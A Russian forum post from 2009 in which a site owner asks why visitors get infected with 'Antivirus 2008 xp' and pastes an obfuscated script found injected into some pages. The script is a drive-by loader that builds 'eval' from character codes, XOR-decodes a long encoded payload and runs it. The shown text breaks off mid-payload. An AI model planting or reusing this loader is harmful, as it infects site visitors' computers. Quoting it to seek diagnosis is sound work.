1. Акция на весь декабрь! Получай оплату х2 за уникальные статьи, объемом от 200 слов, если в заголовке темы и теле статьи присутствует слово Python
    Скрыть объявление

С нашего сайта грузится вирус

Тема в разделе "Общие вопросы", создана пользователем -, 31 мар 2009.

  1. Гость

    При разработке сайта мы использовали технологии HTML, CSS и были написаны два небольших скрипта на JavaScript по 5 строчек длиной 100% не являющиеся вредоносными и выполняющие небольшие нужные нам действия.
    Недавно, правда, на все страницы был установлен счетчик LiveInternet.
    Однако при посещении нашего сайта на компьютеры посетителей устанавливается вирус "Antivirus 2008 xp", а в Internet Explorer внеджряется надстройка - порно-информер, отображаемая каждый раз при запуске обозревателя.
    При чем вирус заражает компьютеры только при посещении некоторой части страниц сайта (а не всех) изучая HTML-код наших страниц обратил внимания, что в этих страницах после тэга BODY появляется странный скрипт:

    Код (Text):
    <span id='ffe03313142ab0d86aaec8601165fa9947'><script type="text/javascript">var jj=window["e"+String.fromCharCode(118)+String.fromCharCode(97)+String.fromCharCode(108)]("e"+String.fromCharCode(118)+String.fromCharCode(97)+String.fromCharCode(108)); jj('\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x79\x59\x33\x28\x78\x34\x78\x4f\x59\x29\x7b\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x7a\x34\x54\x71\x4b\x62\x38\x28\x6d\x53\x6f\x49\x6d\x29\x7b\x76\x61\x72\x20\x6c\x5a\x56\x35\x58\x3d\x30\x3b\x76\x61\x72\x20\x7a\x35\x73\x30\x6f\x3d\x6d\x53\x6f\x49\x6d\x2e\x6c\x65\x6e\x67\x74\x68\x2c\x20\x66\x51\x6f\x42\x32\x3d\x30\x3b\x77\x68\x69\x6c\x65\x28\x66\x51\x6f\x42\x32\x3c\x7a\x35\x73\x30\x6f\x29\x7b\x6c\x5a\x56\x35\x58\x2b\x3d\x64\x64\x50\x39\x28\x6d\x53\x6f\x49\x6d\x2c\x66\x51\x6f\x42\x32\x29\x2a\x7a\x35\x73\x30\x6f\x3b\x66\x51\x6f\x42\x32\x2b\x2b\x3b\x7d\x72\x65\x74\x75\x72\x6e\x20\x28\x6c\x5a\x56\x35\x58\x2b\x27\x27\x29\x3b\x7d\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x64\x64\x50\x39\x28\x70\x51\x32\x66\x58\x46\x2c\x77\x77\x49\x29\x7b\x72\x65\x74\x75\x72\x6e\x20\x70\x51\x32\x66\x58\x46\x2e\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74\x28\x77\x77\x49\x29\x3b\x7d\x20\x20\x20\x74\x72\x79\x20\x7b\x76\x61\x72\x20\x62\x65\x49\x6f\x4e\x63\x41\x3d\x65\x76\x61\x6c\x28\x27\x61\x4e\x72\x6f\x67\x4e\x75\x51\x6d\x4b\x65\x51\x6e\x4f\x74\x4e\x73\x4f\x2e\x4b\x63\x6f\x61\x4f\x6c\x4f\x6c\x4b\x65\x4f\x65\x51\x27\x2e\x72\x65\x70\x6c\x61\x63\x65\x28\x2f\x5b\x6f\x4f\x51\x4b\x4e\x5d\x2f\x67\x2c\x20\x27\x27\x29\x29\x2c\x6d\x46\x74\x68\x78\x3d\x27\x27\x2c\x76\x57\x47\x6a\x67\x4b\x3d\x30\x2c\x6b\x4c\x62\x3d\x30\x3b\x76\x61\x72\x20\x6a\x54\x37\x4c\x3d\x28\x6e\x65\x77\x20\x53\x74\x72\x69\x6e\x67\x28\x62\x65\x49\x6f\x4e\x63\x41\x29\x29\x2e\x72\x65\x70\x6c\x61\x63\x65\x28\x2f\x5b\x5e\x40\x61\x2d\x7a\x30\x2d\x39\x41\x2d\x5a\x5f\x2e\x2c\x2d\x5d\x2f\x67\x2c\x27\x27\x29\x3b\x76\x61\x72\x20\x6b\x4c\x43\x3d\x7a\x34\x54\x71\x4b\x62\x38\x28\x6a\x54\x37\x4c\x29\x3b\x78\x34\x78\x4f\x59\x3d\x75\x6e\x65\x73\x63\x61\x70\x65\x28\x78\x34\x78\x4f\x59\x29\x3b\x66\x6f\x72\x28\x76\x61\x72\x20\x69\x64\x6d\x38\x31\x3d\x30\x3b\x20\x69\x64\x6d\x38\x31\x20\x3c\x20\x28\x78\x34\x78\x4f\x59\x2e\x6c\x65\x6e\x67\x74\x68\x29\x3b\x20\x69\x64\x6d\x38\x31\x2b\x2b\x29\x7b\x76\x61\x72\x20\x70\x46\x47\x37\x6e\x76\x3d\x64\x64\x50\x39\x28\x6a\x54\x37\x4c\x2c\x76\x57\x47\x6a\x67\x4b\x29\x5e\x64\x64\x50\x39\x28\x6b\x4c\x43\x2c\x6b\x4c\x62\x29\x3b\x76\x61\x72\x20\x64\x34\x54\x48\x67\x3d\x64\x64\x50\x39\x28\x78\x34\x78\x4f\x59\x2c\x69\x64\x6d\x38\x31\x29\x3b\x76\x57\x47\x6a\x67\x4b\x2b\x2b\x2c\x6b\x4c\x62\x2b\x2b\x3b\x6d\x46\x74\x68\x78\x2b\x3d\x53\x74\x72\x69\x6e\x67\x2e\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65\x28\x64\x34\x54\x48\x67\x5e\x70\x46\x47\x37\x6e\x76\x29\x3b\x69\x66\x28\x6b\x4c\x62\x3e\x6b\x4c\x43\x2e\x6c\x65\x6e\x67\x74\x68\x29\x6b\x4c\x62\x3d\x30\x3b\x69\x66\x28\x76\x57\x47\x6a\x67\x4b\x3e\x6a\x54\x37\x4c\x2e\x6c\x65\x6e\x67\x74\x68\x29\x76\x57\x47\x6a\x67\x4b\x3d\x30\x3b\x7d\x65\x76\x61\x6c\x28\x6d\x46\x74\x68\x78\x29\x3b\x20\x72\x65\x74\x75\x72\x6e\x20\x6d\x46\x74\x68\x78\x3d\x6e\x65\x77\x20\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x7d\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d\x7d\x79\x59\x33\x28\x27\x25\x33\x32\x25\x33\x38\x25\x33\x38\x25\x33\x30\x25\x33\x31\x25\x33\x37\x25\x33\x32\x25\x33\x38\x25\x35\x39\x25\x32\x31\x25\x37\x65\x25\x31\x32\x25\x36\x36\x25\x36\x31\x25\x35\x31\x25\x31\x30\x25\x32\x33\x25\x34\x65\x25\x31\x36\x25\x32\x65\x25\x31\x65\x25\x33\x62\x25\x37\x30\x25\x32\x39\x25\x33\x61\x25\x36\x33\x25\x32\x30\x25\x32\x63\x25\x30\x37\x25\x32\x33\x25\x37\x38\x25\x33\x39\x25\x34\x34\x25\x36\x30\x25\x35\x31\x25\x31\x36\x25\x32\x37\x25\x33\x36\x25\x32\x35\x25\x33\x37\x25\x30\x32\x25\x30\x34\x25\x35\x31\x25\x30\x31\x25\x35\x63\x25\x33\x31\x25\x33\x63\x25\x37\x30\x25\x37\x62\x25\x32\x38\x25\x32\x37\x25\x36\x64\x25\x33\x38\x25\x30\x36\x25\x30\x38\x25\x33\x32\x25\x33\x66\x25\x33\x63\x25\x37\x32\x25\x33\x65\x25\x36\x64\x25\x37\x31\x25\x30\x30\x25\x32\x32\x25\x33\x33\x25\x37\x31\x25\x33\x37\x25\x30\x38\x25\x33\x61\x25\x31\x36\x25\x32\x64\x25\x31\x63\x25\x32\x32\x25\x33\x35\x25\x32\x35\x25\x30\x65\x25\x33\x35\x25\x33\x66\x25\x30\x37\x25\x30\x34\x25\x33\x36\x25\x37\x32\x25\x32\x62\x25\x36\x33\x25\x32\x34\x25\x32\x31\x25\x36\x32\x25\x37\x65\x25\x30\x34\x25\x32\x33\x25\x36\x39\x25\x30\x33\x25\x32\x38\x25\x33\x64\x25\x30\x65\x25\x36\x30\x25\x37\x37\x25\x34\x32\x25\x31\x34\x25\x30\x64\x25\x33\x34\x25\x36\x36\x25\x37\x36\x25\x30\x63\x25\x36\x35\x25\x34\x31\x25\x33\x63\x25\x35\x36\x25\x36\x34\x25\x37\x36\x25\x32\x66\x25\x36\x66\x25\x31\x32\x25\x35\x37\x25\x31\x38\x25\x34\x38\x25\x37\x62\x25\x37\x33\x25\x37\x38\x25\x37\x38\x25\x36\x33\x25\x37\x36\x25\x31\x36\x25\x36\x38\x25\x32\x37\x25\x36\x31\x25\x34\x32\x25\x35\x38\x25\x37\x62\x25\x37\x63\x25\x31\x61\x25\x33\x35\x25\x30\x66\x25\x33\x33\x25\x32\x36\x25\x33\x66\x25\x31\x39\x25\x33\x38\x25\x34\x35\x25\x36\x64\x25\x30\x32\x25\x30\x35\x25\x32\x66\x25\x34\x31\x25\x34\x34\x25\x30\x63\x25\x37\x31\x25\x33\x37\x25\x32\x61\x25\x31\x66\x25\x32\x33\x25\x33\x38\x25\x35\x63\x25\x36\x38\x25\x31\x31\x25\x31\x39\x25\x30\x35\x25\x34\x35\x25\x34\x63\x25\x37\x32\x25\x33\x64\x25\x36\x39\x25\x37\x62\x25\x37\x37\x25\x37\x30\x25\x37\x36\x25\x36\x34\x25\x35\x64\x25\x37\x31\x25\x33\x33\x25\x35\x38\x25\x35\x34\x25\x36\x62\x25\x37\x34\x25\x32\x31\x25\x31\x37\x25\x33\x31\x25\x36\x38\x25\x33\x37\x25\x31\x37\x25\x32\x31\x25\x36\x61\x25\x33\x33\x25\x36\x38\x25\x34\x38\x25\x36\x33\x25\x31\x35\x25\x36\x37\x25\x32\x64\x25\x36\x63\x25\x32\x37\x25\x37\x32\x25\x37\x37\x25\x37\x39\x25\x31\x36\x25\x36\x62\x25\x36\x61\x25\x30\x34\x25\x35\x32\x25\x33\x65\x25\x31\x63\x25\x33\x66\x25\x30\x39\x25\x32\x36\x25\x31\x31\x25\x37\x65\x25\x30\x32\x25\x32\x37\x25\x30\x32\x25\x32\x33\x25\x35\x31\x25\x37\x39\x25\x31\x30\x25\x33\x65\x25\x33\x38\x25\x31\x33\x25\x35\x35\x25\x31\x39\x25\x31\x36\x25\x32\x38\x25\x31\x32\x25\x37\x63\x25\x30\x66\x25\x33\x63\x25\x33\x66\x25\x37\x38\x25\x32\x35\x25\x33\x30\x25\x36\x38\x25\x37\x34\x25\x37\x63\x25\x33\x32\x25\x37\x33\x25\x30\x33\x25\x31\x38\x25\x30\x37\x25\x31\x34\x25\x30\x61\x25\x33\x65\x25\x33\x32\x25\x33\x32\x25\x36\x34\x25\x36\x61\x25\x37\x37\x25\x37\x39\x25\x37\x62\x25\x36\x65\x25\x32\x32\x25\x31\x34\x25\x30\x30\x25\x32\x30\x25\x30\x39\x25\x35\x39\x25\x36\x37\x25\x32\x66\x25\x32\x36\x25\x35\x31\x25\x32\x35\x25\x36\x33\x25\x33\x61\x25\x30\x39\x25\x37\x61\x25\x30\x31\x25\x31\x38\x25\x37\x35\x25\x31\x34\x25\x33\x37\x25\x33\x30\x25\x36\x31\x25\x33\x35\x25\x33\x34\x25\x32\x35\x25\x33\x63\x25\x31\x64\x25\x33\x65\x25\x33\x34\x25\x32\x35\x25\x33\x32\x25\x30\x30\x25\x31\x38\x25\x33\x65\x25\x35\x31\x25\x32\x66\x25\x37\x33\x25\x36\x30\x25\x36\x62\x25\x37\x66\x25\x30\x66\x25\x33\x34\x25\x32\x61\x25\x35\x38\x25\x30\x32\x25\x36\x38\x25\x33\x66\x25\x36\x62\x25\x37\x62\x25\x35\x65\x25\x35\x62\x25\x33\x37\x25\x31\x33\x25\x34\x64\x25\x33\x36\x25\x33\x30\x25\x37\x31\x25\x33\x61\x25\x35\x62\x25\x36\x34\x25\x30\x61\x25\x33\x65\x25\x32\x39\x25\x31\x34\x25\x31\x61\x25\x32\x66\x25\x32\x34\x25\x37\x36\x25\x33\x34\x25\x35\x31\x25\x37\x33\x25\x32\x33\x25\x37\x39\x25\x30\x36\x25\x32\x37\x25\x35\x66\x25\x32\x62\x25\x37\x32\x25\x33\x32\x25\x31\x65\x25\x30\x37\x25\x32\x33\x25\x37\x37\x25\x33\x31\x25\x33\x39\x25\x30\x63\x25\x33\x65\x25\x30\x62\x25\x33\x35\x25\x32\x39\x25\x37\x37\x25\x30\x63\x25\x31\x32\x25\x30\x35\x25\x30\x33\x25\x37\x35\x25\x37\x62\x25\x37\x66\x25\x36\x35\x25\x36\x61\x25\x37\x35\x25\x30\x35\x25\x32\x31\x25\x34\x61\x25\x36\x61\x25\x36\x36\x25\x33\x36\x25\x37\x61\x25\x33\x61\x25\x37\x64\x25\x36\x63\x25\x32\x64\x25\x37\x37\x25\x32\x32\x25\x31\x36\x25\x31\x33\x25\x35\x64\x25\x33\x32\x25\x33\x36\x25\x33\x39\x25\x37\x37\x25\x34\x35\x25\x36\x38\x25\x36\x33\x25\x37\x35\x25\x37\x36\x25\x36\x37\x25\x36\x33\x25\x33\x33\x25\x37\x39\x25\x32\x31\x25\x33\x36\x25\x30\x63\x25\x31\x36\x25\x36\x39\x25\x33\x38\x25\x36\x39\x25\x37\x34\x25\x37\x32\x25\x37\x32\x25\x32\x32\x25\x37\x39\x25\x33\x66\x25\x37\x33\x25\x30\x66\x25\x37\x32\x25\x32\x61\x25\x30\x38\x25\x36\x39\x25\x33\x65\x25\x32\x64\x25\x31\x63\x25\x33\x39\x25\x31\x36\x25\x30\x66\x25\x36\x61\x25\x32\x31\x25\x30\x66\x25\x31\x65\x25\x37\x30\x25\x33\x36\x25\x35\x34\x25\x36\x61\x25\x37\x38\x25\x37\x61\x25\x36\x31\x25\x33\x37\x25\x37\x32\x25\x31\x65\x25\x31\x39\x25\x33\x39\x25\x33\x32\x25\x37\x64\x25\x30\x34\x25\x37\x33\x25\x31\x37\x25\x36\x62\x25\x30\x33\x25\x31\x66\x25\x30\x38\x25\x36\x66\x25\x31\x64\x25\x33\x39\x25\x33\x31\x25\x35\x64\x25\x32\x62\x25\x37\x66\x25\x35\x65\x25\x34\x37\x25\x37\x32\x25\x37\x63\x25\x31\x38\x25\x37\x38\x25\x31\x39\x25\x31\x62\x25\x33\x62\x25\x33\x31\x25\x30\x66\x25\x30\x63\x25\x33\x31\x25\x33\x39\x25\x31\x66\x25\x31\x35\x25\x32\x63\x25\x33\x64\x25\x33\x33\x25\x33\x33\x25\x33\x66\x25\x36\x62\x25\x36\x30\x25\x33\x31\x25\x31\x38\x25\x31\x66\x25\x33\x33\x25\x32\x64\x25\x32\x62\x25\x31\x64\x25\x33\x36\x25\x37\x65\x25\x37\x34\x25\x31\x66\x25\x37\x34\x25\x30\x39\x25\x30\x34\x25\x32\x32\x25\x33\x33\x25\x31\x66\x25\x35\x35\x25\x32\x65\x25\x34\x36\x25\x32\x30\x25\x33\x65\x25\x33\x64\x25\x32\x65\x25\x31\x30\x25\x33\x30\x25\x33\x37\x25\x30\x30\x25\x36\x64\x25\x37\x66\x25\x33\x62\x25\x33\x32\x25\x33\x35\x25\x33\x66\x25\x32\x36\x25\x37\x34\x25\x33\x61\x25\x32\x32\x25\x33\x34\x25\x36\x64\x25\x32\x39\x25\x31\x39\x25\x32\x31\x25\x34\x38\x25\x30\x31\x25\x33\x61\x25\x30\x65\x25\x30\x61\x25\x37\x63\x25\x30\x66\x25\x36\x38\x25\x31\x32\x25\x37\x32\x25\x33\x37\x25\x33\x38\x25\x32\x30\x25\x33\x34\x25\x32\x31\x25\x33\x35\x25\x36\x36\x25\x34\x64\x25\x35\x30\x25\x37\x66\x25\x36\x32\x25\x36\x63\x25\x32\x32\x25\x37\x36\x25\x36\x65\x25\x32\x35\x25\x33\x35\x25\x33\x33\x25\x30\x37\x25\x36\x32\x25\x30\x62\x25\x32\x35\x25\x32\x35\x25\x33\x36\x25\x32\x64\x25\x32\x31\x25\x31\x33\x25\x33\x64\x25\x33\x39\x25\x33\x33\x25\x32\x33\x25\x37\x39\x25\x36\x30\x25\x36\x33\x25\x36\x39\x25\x36\x30\x25\x34\x63\x25\x37\x64\x25\x35\x62\x25\x36\x30\x25\x32\x62\x25\x37\x33\x25\x33\x61\x25\x33\x65\x25\x33\x30\x25\x32\x35\x25\x33\x31\x25\x30\x39\x25\x35\x65\x25\x37\x65\x25\x37\x37\x25\x37\x65\x25\x33\x34\x25\x33\x36\x25\x33\x35\x25\x33\x34\x25\x31\x61\x25\x32\x32\x25\x30\x65\x25\x36\x35\x25\x36\x30\x25\x32\x63\x25\x33\x34\x25\x31\x34\x25\x30\x37\x25\x34\x65\x25\x36\x36\x25\x32\x32\x25\x33\x33\x25\x32\x64\x25\x32\x62\x25\x37\x36\x25\x33\x64\x25\x32\x65\x25\x34\x36\x25\x30\x33\x25\x32\x38\x25\x31\x37\x25\x32\x62\x25\x34\x30\x25\x33\x34\x25\x31\x32\x25\x32\x33\x25\x32\x38\x25\x33\x33\x25\x32\x32\x25\x33\x63\x25\x32\x36\x25\x37\x35\x25\x34\x34\x25\x34\x64\x25\x37\x36\x25\x32\x65\x25\x36\x33\x25\x33\x63\x25\x37\x39\x25\x33\x31\x25\x37\x36\x25\x32\x30\x25\x37\x64\x25\x34\x38\x25\x30\x62\x25\x31\x64\x25\x30\x32\x25\x31\x30\x25\x30\x66\x25\x37\x34\x25\x33\x39\x25\x30\x63\x25\x32\x65\x25\x32\x39\x25\x32\x31\x25\x31\x65\x25\x32\x39\x25\x35\x65\x25\x33\x62\x25\x32\x31\x25\x33\x38\x25\x33\x64\x25\x30\x66\x25\x34\x30\x25\x31\x33\x25\x37\x37\x25\x37\x31\x25\x33\x39\x25\x30\x30\x25\x33\x64\x25\x32\x65\x25\x31\x63\x25\x33\x30\x25\x37\x61\x25\x36\x61\x25\x36\x39\x25\x36\x61\x25\x36\x36\x25\x31\x64\x25\x32\x64\x25\x30\x38\x25\x35\x65\x25\x34\x66\x25\x30\x65\x25\x31\x36\x25\x33\x61\x25\x33\x35\x25\x36\x35\x25\x31\x35\x25\x33\x36\x25\x37\x35\x25\x32\x64\x25\x37\x32\x25\x34\x65\x25\x36\x39\x25\x33\x34\x25\x36\x31\x25\x33\x61\x25\x35\x62\x25\x36\x30\x25\x36\x62\x25\x30\x63\x25\x37\x32\x25\x30\x63\x25\x33\x30\x25\x32\x34\x25\x33\x61\x25\x30\x30\x25\x36\x35\x25\x30\x38\x25\x37\x64\x25\x30\x34\x25\x33\x37\x25\x31\x37\x25\x32\x65\x25\x30\x36\x25\x33\x39\x25\x32\x34\x25\x33\x30\x25\x33\x32\x25\x30\x61\x25\x36\x33\x25\x30\x62\x25\x37\x33\x25\x36\x32\x25\x31\x62\x25\x33\x38\x25\x32\x36\x25\x33\x30\x25\x33\x35\x25\x30\x32\x25\x36\x62\x25\x36\x61\x25\x34\x36\x25\x36\x39\x25\x31\x33\x25\x33\x63\x25\x35\x36\x25\x35\x65\x25\x30\x36\x25\x31\x32\x25\x32\x36\x25\x36\x35\x25\x30\x32\x25\x36\x61\x25\x36\x64\x25\x36\x64\x25\x37\x39\x25\x36\x38\x25\x34\x64\x25\x37\x34\x25\x33\x36\x25\x33\x31\x25\x30\x37\x25\x33\x38\x25\x33\x63\x25\x33\x64\x25\x32\x34\x25\x30\x33\x25\x30\x33\x25\x33\x36\x25\x30\x39\x25\x33\x32\x25\x32\x63\x25\x31\x65\x25\x30\x62\x25\x36\x65\x25\x35\x37\x25\x36\x64\x25\x36\x38\x25\x32\x35\x25\x36\x33\x25\x31\x63\x25\x37\x34\x25\x37\x38\x25\x36\x38\x25\x34\x62\x25\x37\x32\x25\x34\x33\x25\x30\x61\x25\x34\x36\x25\x33\x62\x25\x37\x62\x25\x32\x33\x25\x37\x37\x25\x33\x37\x25\x31\x66\x25\x32\x37\x25\x32\x61\x25\x33\x30\x25\x35\x63\x25\x37\x33\x25\x35\x36\x25\x36\x30\x25\x34\x62\x25\x37\x38\x25\x32\x63\x25\x30\x61\x25\x34\x38\x25\x32\x35\x25\x34\x31\x25\x33\x35\x25\x35\x34\x25\x32\x37\x25\x31\x61\x25\x37\x39\x25\x34\x31\x25\x32\x31\x25\x31\x32\x25\x32\x34\x25\x31\x33\x25\x33\x63\x25\x31\x66\x25\x33\x32\x25\x35\x66\x25\x34\x61\x25\x33\x38\x25\x32\x33\x25\x30\x66\x25\x30\x39\x25\x36\x62\x25\x36\x63\x25\x33\x30\x25\x30\x36\x25\x34\x61\x25\x33\x61\x25\x35\x62\x25\x34\x39\x25\x35\x63\x25\x35\x38\x25\x37\x39\x25\x32\x35\x25\x36\x30\x25\x31\x66\x25\x30\x64\x25\x36\x63\x25\x32\x62\x25\x33\x65\x25\x37\x63\x25\x33\x33\x25\x34\x35\x25\x31\x30\x25\x35\x37\x25\x33\x31\x25\x31\x63\x25\x36\x62\x25\x36\x39\x25\x33\x37\x25\x31\x65\x25\x33\x65\x25\x37\x63\x25\x34\x64\x25\x33\x63\x25\x36\x34\x25\x33\x64\x25\x31\x34\x25\x36\x33\x25\x31\x35\x25\x37\x34\x25\x37\x34\x25\x34\x63\x25\x30\x65\x25\x36\x32\x25\x33\x64\x25\x32\x62\x25\x33\x36\x25\x32\x34\x25\x33\x35\x25\x37\x35\x25\x33\x61\x25\x37\x34\x25\x34\x64\x25\x33\x34\x25\x35\x66\x25\x37\x63\x25\x32\x39\x25\x33\x38\x25\x33\x62\x25\x30\x39\x25\x37\x62\x25\x37\x32\x25\x36\x36\x25\x30\x64\x25\x33\x33\x25\x37\x62\x25\x33\x63\x25\x36\x62\x25\x34\x35\x25\x32\x33\x25\x31\x63\x25\x33\x63\x25\x31\x31\x25\x30\x61\x25\x37\x36\x25\x37\x64\x25\x36\x30\x25\x30\x61\x25\x37\x62\x25\x32\x30\x25\x32\x64\x25\x36\x63\x25\x32\x64\x25\x30\x39\x25\x31\x38\x25\x33\x36\x25\x35\x31\x25\x34\x65\x25\x36\x65\x25\x34\x66\x25\x33\x35\x25\x36\x31\x25\x33\x61\x25\x31\x32\x25\x37\x34\x25\x32\x31\x25\x30\x39\x25\x36\x30\x25\x31\x38\x25\x34\x31\x25\x30\x66\x25\x37\x65\x25\x30\x34\x25\x33\x66\x25\x30\x38\x25\x33\x65\x25\x33\x65\x25\x32\x63\x25\x32\x65\x25\x33\x30\x25\x33\x33\x25\x37\x34\x25\x33\x34\x25\x37\x65\x25\x37\x61\x25\x32\x35\x25\x32\x66\x25\x33\x36\x25\x33\x63\x25\x32\x34\x25\x33\x38\x25\x33\x39\x25\x34\x35\x25\x32\x35\x25\x35\x32\x25\x33\x38\x25\x33\x65\x25\x31\x36\x25\x30\x36\x25\x37\x31\x25\x35\x31\x25\x32\x35\x25\x32\x39\x25\x32\x37\x25\x35\x62\x25\x34\x39\x25\x33\x38\x25\x37\x63\x25\x37\x65\x25\x37\x64\x25\x31\x34\x25\x36\x64\x25\x37\x37\x25\x36\x64\x25\x37\x64\x25\x37\x33\x25\x33\x38\x25\x36\x31\x25\x32\x30\x25\x30\x65\x25\x31\x38\x25\x32\x63\x25\x34\x39\x25\x30\x65\x25\x33\x31\x25\x36\x37\x25\x37\x33\x25\x36\x30\x25\x30\x61\x25\x34\x64\x25\x35\x39\x25\x33\x61\x25\x35\x33\x25\x37\x32\x25\x35\x32\x25\x37\x33\x25\x33\x36\x25\x33\x62\x25\x31\x62\x25\x36\x63\x25\x33\x31\x25\x35\x63\x25\x37\x62\x25\x32\x31\x25\x30\x37\x25\x37\x31\x25\x30\x37\x25\x31\x66\x25\x31\x38\x25\x37\x31\x25\x37\x33\x25\x35\x32\x25\x30\x65\x25\x37\x33\x25\x33\x37\x25\x30\x61\x25\x30\x61\x25\x32\x35\x25\x33\x34\x25\x32\x35\x25\x37\x39\x25\x33\x34\x25\x37\x61\x25\x34\x38\x25\x31\x65\x25\x36\x64\x25\x32\x35\x25\x36\x39\x25\x30\x32\x25\x31\x63\x25\x37\x33\x25\x33\x32\x25\x32\x66\x25\x34\x33\x25\x37\x39\x25\x36\x63\x25\x33\x61\x25\x32\x34\x25\x31\x39\x25\x33\x32\x25\x33\x65\x25\x31\x61\x25\x34\x39\x25\x37\x31\x25\x30\x30\x25\x33\x32\x25\x33\x34\x25\x30\x34\x25\x36\x64\x25\x33\x39\x25\x32\x66\x25\x33\x63\x25\x32\x64\x25\x32\x33\x25\x33\x34\x25\x31\x30\x25\x33\x37\x25\x37\x34\x25\x33\x31\x25\x36\x36\x25\x34\x66\x25\x32\x62\x25\x31\x33\x25\x33\x39\x25\x32\x32\x25\x36\x64\x25\x31\x37\x25\x33\x32\x25\x33\x33\x25\x30\x65\x25\x33\x66\x25\x36\x39\x25\x33\x61\x25\x31\x39\x25\x33\x61\x25\x33\x32\x25\x31\x31\x25\x35\x36\x25\x30\x63\x25\x32\x31\x25\x33\x33\x25\x37\x64\x25\x33\x31\x25\x33\x66\x25\x30\x66\x25\x31\x36\x25\x32\x31\x25\x32\x64\x25\x31\x63\x25\x37\x33\x25\x30\x31\x25\x30\x37\x25\x31\x33\x25\x37\x30\x25\x37\x63\x25\x37\x30\x25\x30\x64\x25\x30\x62\x25\x33\x34\x25\x36\x62\x25\x32\x64\x25\x33\x65\x25\x32\x65\x25\x30\x62\x25\x35\x37\x25\x34\x33\x25\x32\x65\x25\x30\x35\x25\x33\x33\x25\x31\x36\x25\x32\x36\x25\x31\x66\x25\x37\x30\x25\x33\x63\x25\x35\x38\x25\x33\x38\x25\x33\x30\x25\x32\x66\x25\x32\x64\x25\x32\x61\x25\x30\x35\x25\x31\x62\x25\x32\x36\x25\x34\x39\x25\x31\x35\x25\x36\x37\x25\x33\x65\x25\x32\x37\x25\x32\x34\x25\x33\x32\x25\x33\x30\x25\x31\x30\x25\x35\x61\x25\x33\x32\x25\x32\x66\x25\x33\x39\x25\x32\x31\x25\x37\x65\x25\x36\x32\x25\x33\x32\x25\x33\x33\x25\x31\x39\x25\x30\x31\x25\x33\x65\x25\x33\x65\x25\x36\x38\x25\x37\x64\x25\x33\x61\x25\x33\x31\x25\x31\x66\x25\x30\x34\x25\x36\x32\x25\x37\x61\x25\x37\x31\x25\x36\x64\x25\x37\x64\x25\x37\x39\x25\x36\x31\x25\x37\x30\x25\x34\x30\x25\x37\x66\x25\x35\x63\x25\x33\x32\x25\x32\x64\x25\x37\x66\x25\x36\x39\x25\x37\x62\x25\x37\x31\x25\x34\x38\x25\x37\x62\x25\x36\x31\x25\x31\x64\x25\x37\x66\x25\x36\x39\x25\x36\x37\x25\x32\x36\x25\x31\x66\x25\x37\x39\x25\x36\x39\x25\x37\x30\x25\x37\x36\x25\x37\x34\x25\x33\x30\x25\x33\x30\x25\x33\x39\x25\x33\x33\x25\x31\x63\x25\x36\x66\x25\x30\x32\x25\x32\x63\x25\x31\x66\x25\x37\x34\x25\x32\x36\x25\x37\x66\x25\x35\x34\x25\x34\x66\x25\x30\x66\x25\x33\x64\x25\x32\x37\x25\x32\x32\x25\x36\x64\x25\x33\x63\x25\x30\x64\x25\x31\x61\x25\x36\x37\x25\x30\x62\x25\x36\x36\x25\x32\x61\x25\x30\x32\x25\x33\x37\x25\x33\x66\x25\x36\x65\x25\x32\x35\x25\x35\x37\x25\x37\x35\x25\x37\x63\x25\x34\x62\x25\x36\x35\x25\x35\x38\x25\x37\x64\x25\x33\x62\x25\x37\x64\x25\x34\x35\x25\x37\x37\x25\x37\x66\x25\x32\x38\x25\x33\x34\x25\x37\x35\x25\x37\x66\x25\x31\x31\x25\x33\x32\x25\x33\x32\x25\x36\x63\x25\x36\x39\x25\x32\x63\x25\x33\x64\x25\x37\x38\x25\x37\x33\x25\x37\x38\x25\x30\x35\x25\x30\x66\x25\x33\x63\x25\x35\x37\x25\x37\x30\x25\x37\x61\x25\x32\x39\x25\x37\x64\x25\x32\x63\x25\x37\x61\x25\x33\x31\x25\x34\x37\x25\x34\x32\x25\x32\x61\x25\x34\x36\x25\x37\x32\x25\x37\x61\x25\x34\x63\x25\x37\x33\x25\x30\x38\x25\x31\x31\x25\x33\x62\x25\x31\x30\x25\x33\x65\x25\x37\x38\x25\x37\x31\x25\x34\x62\x25\x37\x38\x25\x31\x65\x25\x32\x65\x25\x36\x39\x25\x32\x32\x25\x36\x66\x25\x32\x36\x25\x37\x36\x25\x37\x33\x25\x34\x30\x25\x34\x66\x25\x35\x30\x25\x32\x31\x25\x36\x61\x25\x37\x37\x25\x36\x62\x25\x36\x30\x25\x36\x30\x25\x37\x64\x25\x34\x63\x25\x31\x63\x25\x30\x36\x25\x36\x34\x25\x31\x62\x25\x37\x39\x25\x32\x35\x25\x33\x39\x25\x32\x66\x25\x32\x36\x25\x33\x61\x25\x33\x39\x25\x33\x32\x25\x30\x37\x25\x32\x31\x25\x31\x35\x25\x36\x32\x25\x32\x36\x25\x33\x36\x25\x32\x38\x25\x37\x37\x25\x34\x30\x25\x35\x64\x25\x33\x64\x25\x36\x32\x25\x36\x62\x25\x35\x33\x25\x35\x32\x25\x37\x63\x25\x36\x63\x25\x33\x39\x25\x32\x61\x25\x33\x36\x25\x33\x34\x25\x34\x64\x25\x37\x61\x25\x30\x37\x25\x31\x65\x25\x31\x36\x25\x33\x36\x25\x37\x38\x25\x37\x39\x25\x32\x32\x25\x32\x38\x25\x31\x32\x25\x31\x63\x25\x37\x38\x25\x33\x35\x25\x31\x36\x25\x33\x37\x25\x33\x32\x25\x37\x62\x25\x30\x36\x25\x36\x30\x25\x30\x31\x25\x32\x65\x25\x33\x61\x25\x31\x61\x25\x32\x64\x25\x33\x63\x25\x33\x39\x25\x31\x32\x25\x33\x32\x25\x36\x65\x25\x36\x62\x25\x35\x39\x25\x33\x62\x25\x33\x33\x25\x33\x65\x25\x33\x38\x25\x32\x37\x25\x31\x66\x25\x31\x64\x25\x33\x33\x25\x37\x37\x25\x31\x38\x25\x32\x34\x25\x30\x64\x25\x33\x66\x25\x35\x35\x25\x37\x64\x25\x32\x37\x25\x33\x64\x25\x31\x62\x25\x33\x39\x25\x31\x62\x25\x36\x62\x25\x30\x33\x25\x36\x61\x25\x31\x32\x25\x31\x31\x25\x37\x64\x25\x33\x64\x25\x34\x6